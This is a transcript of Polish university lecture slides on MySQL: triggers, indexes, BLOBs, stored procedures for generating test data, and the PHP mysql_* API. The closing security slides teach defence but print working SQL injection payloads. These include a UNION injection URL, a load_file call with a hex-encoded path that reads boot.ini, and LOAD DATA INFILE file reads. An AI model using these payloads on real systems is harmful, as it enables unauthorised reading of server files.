bazy danych wykład 7 wojciech st. mościbrodzki wojmos@wojmos
DESCRIPTION
Bazy Danych Wykład 7 Wojciech St. Mościbrodzki [email protected]. TRIGGER – specyficzna stored procedure. TRIGGER – funkcja składowana wywoływana automatycznie, przez serwer po zaistnieniu pewnego zdarzenia TRIGGER (wyzwalacz) jest więc swego rodzaju event guardianem obiekt standardowy SQL99. - PowerPoint PPT PresentationTRANSCRIPT
![Page 1: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/1.jpg)
Bazy DanychWykład 7Wojciech St. Moś[email protected]
![Page 2: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/2.jpg)
TRIGGER – specyficzna stored procedureTRIGGER – specyficzna stored procedure
+----------------+| imie |+----------------+|Jan ||Tadeusz ||Piotr ||Kacper |+----------------+
TRIGGER – funkcja składowana wywoływana automatycznie, przez serwer po zaistnieniu pewnego zdarzenia
TRIGGER (wyzwalacz) jest więc swego rodzaju event guardianem obiekt standardowy SQL99
mysql> insert into imie values ('Czesio')
update licznik set imie_ile=select count(*) from imie
![Page 3: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/3.jpg)
Klasyfikacja TRIGGERÓWKlasyfikacja TRIGGERÓW
Triggery (wyzwalacze) możemy podzielić: według kryterium czasu:
• triggery BEFORE• triggery AFTER• triggery INSTEAD OF (rzadko implementowane)
według kryterium rodzaju operacji (związek z type operacji, a nie poleceniem!)• triggery ON INSERT (działa także w przypadku LOAD DATA)• triggery ON DELETE• triggery ON UPDATE
według kryterium obiektu strzeżonego• triggery modyfikacji danych• triggery modyfikacji struktury (trigger ALTER, DROP)• triggery eventowe (trigger LOGIN)
![Page 4: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/4.jpg)
Budowa TRIGGERABudowa TRIGGERA
Ogólna postać:CREATE [DEFINER = { user | CURRENT_USER }] TRIGGER trigger_name
trigger_time trigger_event ON tbl_name FOR EACH ROW trigger_stmt
delimiter | CREATE TRIGGER testref BEFORE INSERT ON test1 FOR EACH ROW BEGIN UPDATE test4 SET b4 = b4 + 1 WHERE a4 = 3; END; | delimiter ;
Prawa (MySql): tworzenie triggerów wymaga praw TRIGGER dla danej tablicy (wcześniej: prawo
globalne SUPER)
![Page 5: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/5.jpg)
obiekty NEW i OLDobiekty NEW i OLD
Obiekty przechowujące wartość poprzednią i nową:
delimiter |
CREATE TRIGGER moj1 AFTER UPDATE ON t1FOR EACH ROW BEGIN INSERT INTO history(z) values (CONCAT(OLD.liczba,'->',NEW.liczba)); END; |
delimiter ;
create table t1 (id int, auto_increment primary key, liczba int);create table historia (z char(100), stamp timestamp)
update t1 set liczba=2 where id=1;
insert into t1(liczba) values (222);
![Page 6: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/6.jpg)
Obiekty OLD i NEWObiekty OLD i NEW
MySQL ułatwia wywołania obiektów poprzez nadanie im nazw
delimiter |
CREATE TRIGGER pensja_trigger BEFORE UPDATE ON pracownicy_table REFERENCING NEW ROW AS n, OLD ROW AS o FOR EACH ROW IF n.pensja <> o.pensja THEN --wykonaj odpowiednie działania; END IF;
delimiter ;
![Page 7: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/7.jpg)
Bezpieczniejsze tworzenie triggerówBezpieczniejsze tworzenie triggerów
DROP TRIGGER IF EXISTS moj1;
delimiter |
CREATE TRIGGER moj1 AFTER UPDATE ON t1FOR EACH ROW BEGIN INSERT INTO history (zapis) values (3); END; |
delimiter ;
![Page 8: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/8.jpg)
IndeksIndeks
Indeks jest pomocniczą strukturą nakładaną na tabelę (ściślej: kolumnę lub grupę kolumn), służącą polepszaniu efektywności wyszukiwania. Indeksy pogarszają efektywność operacji udpate, delete i insert.
CREATE [UNIQUE|FULLTEXT|SPATIAL] INDEX index_name [index_type] ON tbl_name (index_col_name,...) [index_type]
index_col_name: col_name [(length)] [ASC | DESC]
index_type: USING {BTREE | HASH}
![Page 9: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/9.jpg)
Indeksy w MySQLIndeksy w MySQL
Silnik MySQL używa indeksów zwłaszcza do: Generowania wyników klauzuli WHERE Eliminowania krotek (DISTINCT) Generowania wyników JOIN (warto zadbać, aby indeksy były tego samego typu i
wielkości – co ma znaczenie przy indeksach tekstowych) Generowania agregatów MIN i MAX Do sortowania za pomocą ORDER BY
Uwaga: MySQL używa własnego algorytmu estymacji efektywności indeksów
Każdy klucz główny jest indeksowany
![Page 10: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/10.jpg)
Indeksy typu HASH i indeksy typu B-TREEIndeksy typu HASH i indeksy typu B-TREE
Indeksy zbudowane na drzewach są bardziej elastyczne (dlatego są domyślnym typem)
Z uwagi na budowę, indeks typu HASH: Może pracować tylko dla porównań >= <= oraz = (ale za to jest bardzo szybki) Nie przyspiesza sortowania z użyciem ORDER BY (bo nie daje możliwości
"znalezienia następnego") Nie może ocenić ilości danych pomiędzy granicami wyszukiwania (BETWEEN) Indeksuje jedynie całą wartość klucza
![Page 11: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/11.jpg)
TEXT i BLOBTEXT i BLOB
BLOB (Binary Large OBject) to typ danych służący do przechowywania dużych obiektów binarnych.
TEXT to duże obiekty tekstowe (używają charsetu!)
CREATE TABLE picture (ID INTEGER AUTO_INCREMENT,IMAGE BLOB, PRIMARY KEY (ID)) ENGINE=InnoDB;
![Page 12: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/12.jpg)
Projektowanie baz danych jako procesProjektowanie baz danych jako proces
ETAPY:
Ustalenie wymagań odbiorcy
Modelowanie konceptualne
Modelowanie logiczne
Modelowanie fizyczne
Realizacja bazy danych
Testowanie i walidacja
![Page 13: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/13.jpg)
ProblemProblem
Mentalna percepcja świata rzeczywistego
Modelpojęciowy
Schemat relacyjnejstruktury danych
![Page 14: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/14.jpg)
![Page 15: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/15.jpg)
PROJEKT i kolokwiumPROJEKT i kolokwium
Kolokwium: 25 pytań – 45 minut, suma = 30 punktów pytania testowe + pytania otwarte na pewno będzie (...się można spodziewać):
• składnie: SELECT, UPDATE, INSERT, DELETE• zbudować zapytania do przedstawionego ERD• narysować prosty ERD (znaleźć błędy?)• poprawić ERD postaci normalne• JOIN – na 2 i 3 tablicach• tworzenie procedur i funkcji• zwracanie wartości • indeksy• najważniejsze funkcje SQL• OUTER/INNER/NATURAL• TRIGGER
![Page 16: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/16.jpg)
BLOBBLOB
BLOB – przechowywanie dużych obiektów przechowuje duże dane binarne cztery podtypy:
• TINYBLOB: 2^8 bajtów• BLOB: 2^16 bajtów• MEDIUMBLOB: 2^24 bajtów• LONGBLOB: 2^32 bajtów
zasadniczo: BLOB=duży VARBINARY
CREATE TABLE picture (ID INTEGER AUTO_INCREMENT,IMAGE BLOB, PRIMARY KEY (ID)) ENGINE=InnoDB;
![Page 17: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/17.jpg)
BLOB i obrazkiBLOB i obrazki
Dwie formy tworzenia multimedialnych baz: przechowywanie obiektów (BLOB)
• LOAD DATA / SELECT INTO OUTFILE:
przechowywanie referencji (nazwy)
LOAD DATA [LOW_PRIORITY | CONCURRENT] [LOCAL] INFILE 'file_name' INTO TABLE tbl_name [{FIELDS | COLUMNS} [TERMINATED BY 'string'] [[OPTIONALLY] ENCLOSED BY 'char'] [ESCAPED BY 'char'] ]
SELECT ... INTO OUTFILE 'savefilename'
![Page 18: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/18.jpg)
Operator UNIONOperator UNION
UNION jest operatorem do łączenia wyników 2+ selectów
SELECT ... UNION [ALL | DISTINCT] SELECT ... [UNION [ALL | DISTINCT] SELECT ...]
UNION zakłada, że odpowiednie kolumny mają ten sam typ
(SELECT a FROM t1 WHERE a=10 AND B=1) UNION (SELECT a FROM t2 WHERE a=11 AND B=2) ORDER BY a LIMIT 10;
Możliwe jest stosowanie ORDER, SORT, LIMIT na całej unii:
![Page 19: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/19.jpg)
Indeksy
+
Automatyczne wypełnianie tablic z użyciem procedur
![Page 20: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/20.jpg)
Funkcja tworząca losowy ciąg znaków o zadanej długości
delimiter ;;drop function if exists rndtxt;
create function rndtxt(dlugosc int) returns text begin declare i int default dlugosc; declare result text default ''; declare znak char(1); while (i > 0) do set i = i - 1; set znak = char( floor(65 + RAND()*(91-65)) ); set result = concat(result, znak); end while; return result; end;;
delimiter ;
![Page 21: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/21.jpg)
Funkcja tworząca losowego człowieka (imię) – 1/2create table imie(id int auto_increment primary key, wartosc char(30));
![Page 22: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/22.jpg)
Funkcja tworząca losowego człowieka: (imie) – 2/2
create table sylaba (int id auto_increment primary key, wartosc char(5));insert into sylaba(wartosc) values ('ko');insert into sylaba(wartosc) values ('pa');insert into sylaba(wartosc) values ('fi');insert into sylaba(wartosc) values ('gu');insert into sylaba(wartosc) values ('ba');insert into sylaba(wartosc) values ('sza');insert into sylaba(wartosc) values ('tu');insert into sylaba(wartosc) values ('sa');insert into sylaba(wartosc) values ('ke');
Funkcja tworząca losowego człowieka: (nazwisko) – 1/2
CREATE FUNCTION imie() RETURNS CHAR(50) BEGIN DECLARE temp char(50); select wartosc into temp from imie order by rand() limit 1; set temp := concat(ucase(substring(temp,1,1)),substring(temp,2)); return temp; END;
![Page 23: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/23.jpg)
Funkcja tworząca losowego człowieka: (nazwisko) – 2/2
drop function if exists nazwisko;delimiter ;;CREATE FUNCTION nazwisko(sylaby int) RETURNS CHAR(50) BEGIN DECLARE ile_sylab INT default sylaby; DECLARE nazwisko char(50) default ''; DECLARE temp char(5); while (ile_sylab>0) do select wartosc into temp from sylaba order by rand() limit 1; set nazwisko := concat(nazwisko,temp); set ile_sylab := ile_sylab - 1; end while; set nazwisko := concat(nazwisko,'cki'); set nazwisko := concat(ucase(substring(nazwisko,1,1)),substring(nazwisko,2)); return nazwisko; END;;;delimiter ;
![Page 24: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/24.jpg)
Przygotowanie dużej tabelidrop table if exists czlowiek;create table czlowiek (id int auto_increment primary key, imie varchar(50), nazwisko varchar(50), dane char(255));
create procedure MakeCzlowiek() begin declare sylab int; declare dane int; set sylab := floor(2 + RAND()*(2-0)); set dane := floor(255 + RAND()*(255-100)); insert into czlowiek(imie, nazwisko, dane) select imie(), nazwisko(sylab), rndtxt(dane); end;
![Page 25: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/25.jpg)
Przygotowanie dużej tabelidrop table if exists czlowiek;create table czlowiek (id int auto_increment primary key, imie varchar(50), nazwisko varchar(50), dane char(255));
drop procedure if exists MakeLudzie;delimiter ;;create procedure MakeLudzie(IN ile int) begin declare licznik int default ile; while (licznik > 0) do call MakeCzlowiek(); set licznik := licznik - 1; end while; end;;;delimiter ;
![Page 26: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/26.jpg)
Przygotowanie dużej tabelidrop table if exists dane;create table dane (id int auto_increment primary key, dana1 char(255), dana2 char(255), dana3 char(255), dana4 char(255), dana5 varchar(50), dana6 char(255));
create procedure MakeDane(IN ile int) begin declare licznik int default ile; while (licznik > 0) do insert into dane(dana1, dana2, dana3, dana4, dana5, dana6) select rndtxt(rand()*200+10), rndtxt(rand()*250+100), rndtxt(rand()*100+50), rndtxt(rand()*250+200), rndtxt(rand()*200+100), rndtxt(rand()*250+10); set licznik := licznik - 1; end while; end;
![Page 27: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/27.jpg)
Tabelka pośrednicząca:drop table if exists czldan;create table czldan (id_czl int, id_dan int);
create procedure MakeLink() begin declare id_czl int; declare id_dan int; select id into id_czl from czlowiek order by rand() limit 1; select id into id_dan from dane order by rand() limit 1; insert into czldan values (id_czl, id_dan); end;
create procedure MakeLinks(IN ile int) begin while (ile>0) do call MakeLink(); set ile = ile - 1; end while; end;
![Page 28: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/28.jpg)
IndeksyIndeksy
Indeks jest strukturą bazy danych przeznaczoną do przyspieszania wyszukiwania
Indeksy: bezklastrowe (leksykony) klastrowe (skorowidze)
CREATE [UNIQUE|FULLTEXT|SPATIAL] INDEX index_name [index_type] ON tbl_name (index_col_name,...) [index_type]
index_col_name: col_name [(length)] [ASC | DESC] index_type: USING {BTREE | HASH | RTREE}
![Page 29: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/29.jpg)
Działanie indeksówDziałanie indeksów
Trudne zapytania:select imie, nazwiskofrom czlowiek left outer join czldan on (czlowiek.id=czldan.id_czl)
left outer join dane on (czldan.id_dan=dane.id) order by dana5, nazwisko desc;
...156638 rows in set (1 min 43.33 sec)
create index ind1 on dane(dana5(5));create index ind2 on czldan(id_czl);create index ind3 on czldan(id_dan);create index ind4 on dane(dana5(50));
...156638 rows in set (4.15 sec)
![Page 30: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/30.jpg)
Implementacja obsługi mySQL odbywa się w postaci natywnego API dla PHP: mysql, mysqli lub PDO
Alternatywą jest stosowanie Open Connectivity (np. ODBC):
Implementacja MySQL w PHPImplementacja MySQL w PHP
ODBC
mySQL mySQLi PDO
ODBC
![Page 31: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/31.jpg)
PHP i MySQLPHP i MySQL
Konstrukcja dynamicznego HTML z szablonu w PHP i danych:
![Page 32: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/32.jpg)
(my)SQL w PHP(my)SQL w PHP
Operacje na bazie przeprowadzane są przez handlery połączeń PHP zapewnia specjalny typ resource: połączenie z serwerem
MySQL connection
MySQL query
HTTP connection
![Page 33: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/33.jpg)
mysql_connectmysql_connect
resource mysql_connect (
[ string $serwer
[, string $nazwa_użytkownika
[, string $hasło
[, bool $nowe_połączenie
[, int $flagi_klienta ]]]]]
)
Serwer, do jakiego łączymy
user
password
testowanie, jeśli już otwarte?
dodatki
![Page 34: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/34.jpg)
Obsługa błędówObsługa błędów
MySQL wysyła błędy do PHP – mogą być one przechwycone:
int mysql_errno ([ resource $link ] )
string mysql_error ([ resource $link ] )
Typowa obsługa:
<?php $link = mysql_connect('localhost', ‘alex', ‘lipton'); if (!$link) { die('Nie można się połaczyć: ' . mysql_error()); };?>
![Page 35: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/35.jpg)
Wybór bazy danychWybór bazy danych
Wybranie połączenia z bazą (może być także – baza domyślna)
bool mysql_select_db ( string $nazwa_bazy [, resource $identyfikator_połączenia ] )
<?php $link = mysql_connect('localhost', ‘user', ‘pass') or die('Nie połączono: '.mysql_error()); };
$db_selected = mysql_select_db(‘moja1', $link); if (!$db_selected) { die ('Nie można ustawić moja1: '.mysql_error()); };?>
![Page 36: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/36.jpg)
Sprzątamy po zakończeniu pracySprzątamy po zakończeniu pracy
Dobrze napisany skrypt usuwa po sobie połączenie (choć nie jest to konieczne dla połączeń nie-stałych);
bool mysql_close ([ resource $link ] )
Dobry skrypt: otwórz-wybierz-query1-query2-…-queryN-zamknij
<?php $link = mysql_connect('localhost', ‘alex', ‘lipton'); mysql_select_db(‘moja_baza’); Query1; // jak – za chwilę Query2; // itd. close($link); ?>
![Page 37: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/37.jpg)
Zapytania: typu result i typu execZapytania: typu result i typu exec
Zapytanie typu result zwraca JAKIŚ wynik (tabelę). Zapytania tego typu to: SELECT, DESCRIBE, EXPLAIN i SHOW
Zapytanie typu exec wykonuje się na bazie danych i zwraca jedynie status (true, albo false). Typowe zapytania to CREATE, DELETE, DROP i INSERT.
Oba typy zapytań obsługuje funkcja mysql_query.Dla zapytań result zwracany jest resource typu handler wyniku.Dla zapytań exec zwracany jest resource typu bool.
resource mysql_query ( string $query [, resource $link [, int $typ_wyniku ]] )
Treść zapytania
Handler połączenia (otwartego!)
Flagi (np. buforowanie)
![Page 38: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/38.jpg)
Zapytania typu execZapytania typu exec
Zapytania takie mają prostą obsługę błędów:
<?php $link = mysql_connect('localhost', ‘alex', ‘lipton'); $query = "insert into faktura values (‘N12943’)"; $result = mysql_query($query) or die("Zapytanie niepoprawne:".mysql_error()); close($link); ?>
zwrócona wartość to TRUE lub FALSE
Dodatkowo, można sprawdzić, ile krotek uległo zmianie (DELETE!):
int mysql_affected_rows ([ resource $link ] )
int mysql_insert_id ([ resource $ link ] )
![Page 39: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/39.jpg)
Zapytania typu resultZapytania typu result
Zapytania tego typu zwracają tabelę (jako handler wyniku) z danymi.Jest ona przetwarzana wolniej niż kursor SQL.
<?php $link = mysql_connect('localhost', ‘alex', ‘lipton'); $result = mysql_query("select * from faktura") or die("Zapytanie niepoprawne:".mysql_error()); $dana = mysql_result($result,0,0); echo $dana; close($link); ?>
mixed mysql_result ( resource $wynik, int $wiersz [, mixed $pole ])
Wynik zwrócony przez mysql_query()
Który wiersz wyniku (numerowanie od 0)
Która kolumna wyniku (numerowanie od 0)
zwrócona wartość to handler tablicy
![Page 40: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/40.jpg)
Kursor - Szybka forma przetwarzaniaKursor - Szybka forma przetwarzania
Funkcja mysql_fetch_row działa szybciej niż mysql_result
array mysql_fetch_row (resource $wynik)
mysql_query()
mysql_fetch_row()
mysql_data_seek()
bool mysql_data_seek (resource $wynik, int $nr)
mysql_num_rows()
int mysql_num_rows (resource $wynik) mysql_data_fields()
int mysql_num_fields (resource $wynik)
![Page 41: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/41.jpg)
Obsługa kursora po stronie PHPObsługa kursora po stronie PHP
function DBArrayQuery($query) { $link = mysql_connect('localhost', ‘alex', ‘lipton'); $result = @mysql_query($query); $tablica = array(); $num_fields = mysql_num_fields($result); // kursor - X $num_rows = mysql_num_rows($result); // kursor - Y $nr_row = 0; while ($nr_row < $num_rows) { $nr_field = 0; $curr_row = mysql_fetch_row($result); while ($nr_field < $num_fields) { $tablica[$nr_row][$nr_field]=$curr_row[$nr_field]; $nr_field++; }; $nr_row++; };return $tablica;};
![Page 42: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/42.jpg)
Obsługa praw dostępuObsługa praw dostępu
Autoryzacja za pomocą wielu użytkowników:
Autoryzacja za pomocą auth-usera:
database: mysql
database: mysql
database: moja
![Page 43: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/43.jpg)
Typowe problemy:Typowe problemy:
function DBInsert($value) { $link = mysql_connect('localhost', ‘alex', ‘lipton'); $query = ”insert into pracownik (nazwisko) values ”; $query .= ”(‘”.$value.”’)”; @mysql_query($query); mysql_close($link);};
...
DBInsert(‘Kowalski’);
Na stronach zbudowanych w oparciu o PHP często napotykamy na błędy przy wywołaniu takiej funkcji:
Dlaczego?
![Page 44: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/44.jpg)
Typowe problemy:Typowe problemy:
function DBInsert($value) { $link = mysql_connect('localhost', ‘alex', ‘lipton'); $query = ”insert into pracownik (nazwisko) values ”; $query .= ”(‘”.$value.”’)”; @mysql_query($query);};DBInsert(” d`Artagnan ”);
Problemem jest fakt, że użytkownik lub autor skryptu może dopisać do zapytania łańcuchy zaburzające składnię SQL:
Aby tego uniknąć można zastosować funkcję ochronną:
insert into pracownik (nazwisko) values (’d’Artagnan’);
string mysql_escape_string ( string $łańcuch )
![Page 45: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/45.jpg)
Tablica SQL w tabelce HTML dzięki tablicy PHPTablica SQL w tabelce HTML dzięki tablicy PHP
Etapy rozwiązywania problemu: Obsłużyć połączenie z bazą danych Wysłać zapytanie Odebrać rezultat i wpisać do tablicy dwuwymiarowej w PHP Opakować zawartość tablicy PHP w znaczniki HTML
function DBlink($db_base, $db_user, $db_pass) { $link = mysql_connect($db_host, $db_user, $db_pass) or die ('Cant access: ' . mysql_error()); mysql_select_db($db_base, $link); or die ('Cant switch to DB: ' . mysql_error()); return $link;};
Funkcja tworząca połączenie:
![Page 46: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/46.jpg)
Tablica SQL w tabelce HTML dzięki tablicy PHPTablica SQL w tabelce HTML dzięki tablicy PHP
Funkcja wysyłająca zapytanie i odbierająca wynik:
function DBArrayQuery($query) { $link = DBlink(); $result = @mysql_query($query); $tablica = array(); $nr_row = 0; while ($nr_row < mysql_num_rows($result)) { $nr_field = 0; $curr_row = mysql_fetch_row($result); while ($nr_field < mysql_num_fields($result); ){ $tablica[$nr_row][$nr_field]=$curr_row[$nr_field]; $nr_field++; }; $nr_row++; };return $tablica;};
![Page 47: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/47.jpg)
Tablica SQL w tabelce HTML dzięki tablicy PHPTablica SQL w tabelce HTML dzięki tablicy PHP
Funkcja obsługująca wynik w postaci HTML:
function HTMLize($tablica) { echo ”<TABLE BORDER=1>”; foreach ($tablica as $wiersz) { echo ”<TR>”; foreach ($wiersz as $komorka) { echo ”<TD>”. $komorka . ”</TD>”; }; echo ”</TD>”; };};
HTMLize(DBArrayQuery(”select name, ind from student”));
Program główny:
![Page 48: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/48.jpg)
Uwagi o bezpieczeństwieUwagi o bezpieczeństwie
Najważniejsze przykazania: NIGDY nie pisz skryptów łączących się do bazy jako root (mysql) NIGDY nie uruchamiaj serwera bazy danych z konta superusera Nie dopuszczaj do wykonania komendy LOAD DATA INFILE z sieci Nie dopuszczaj do wykonania komendy SELECT INTO OUTFILE z sieci Nie pozwalaj na generowanie dowolnych SQLi przez użytkownika Uważaj na SQL injection attack
SQL Injection attack (UNION type):$query = "SELECT * FROM user where max_connections = " . $_REQUEST['user'];$result = mysql_result($query);
http://mojastrona.com/query.php?user=0
http://mysql.example.com/query.php?user=1+union+select+name,dl,1,1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1+from+func
![Page 49: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/49.jpg)
Atak typu UNION + LOAD FILEAtak typu UNION + LOAD FILE
W SQL łańcuch tekstowy można reprezentować jako jego wartości numeryczne. Na przykład:
'c:/boot.ini' jest równoznaczne z: 0x633a2f626f6f742e696e69 Skoro tak to można wykonać zapytanie
select 0x633a2f626f6f742e696e69
A więc można wpisać taki URL:
http://mysql.example.com/query.php?user=1+union+select+load_file(0x633a2f626f6f742e696e69),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
I zobaczyć W PRZEGLĄDARCE:
[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)pa 1 1 N N N N N N N N N N N N N N N N N N N N N 1 1 1 1 1 1
![Page 50: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/50.jpg)
Ataki typu DATA INFILE/DATA OUTFILEAtaki typu DATA INFILE/DATA OUTFILE
Ta metoda ataku wymaga dopuszczenia zapytań SQL podawanych przez klienta. Żeby obejrzeć plik z serwera wystarczy:
create table foo( line blob );load data infile 'c:/boot.ini' into table foo;select * from foo;
Ta metoda ataku pozwala (na niespatchowanym mysql) na podmianę plików konfiguracyjnych:
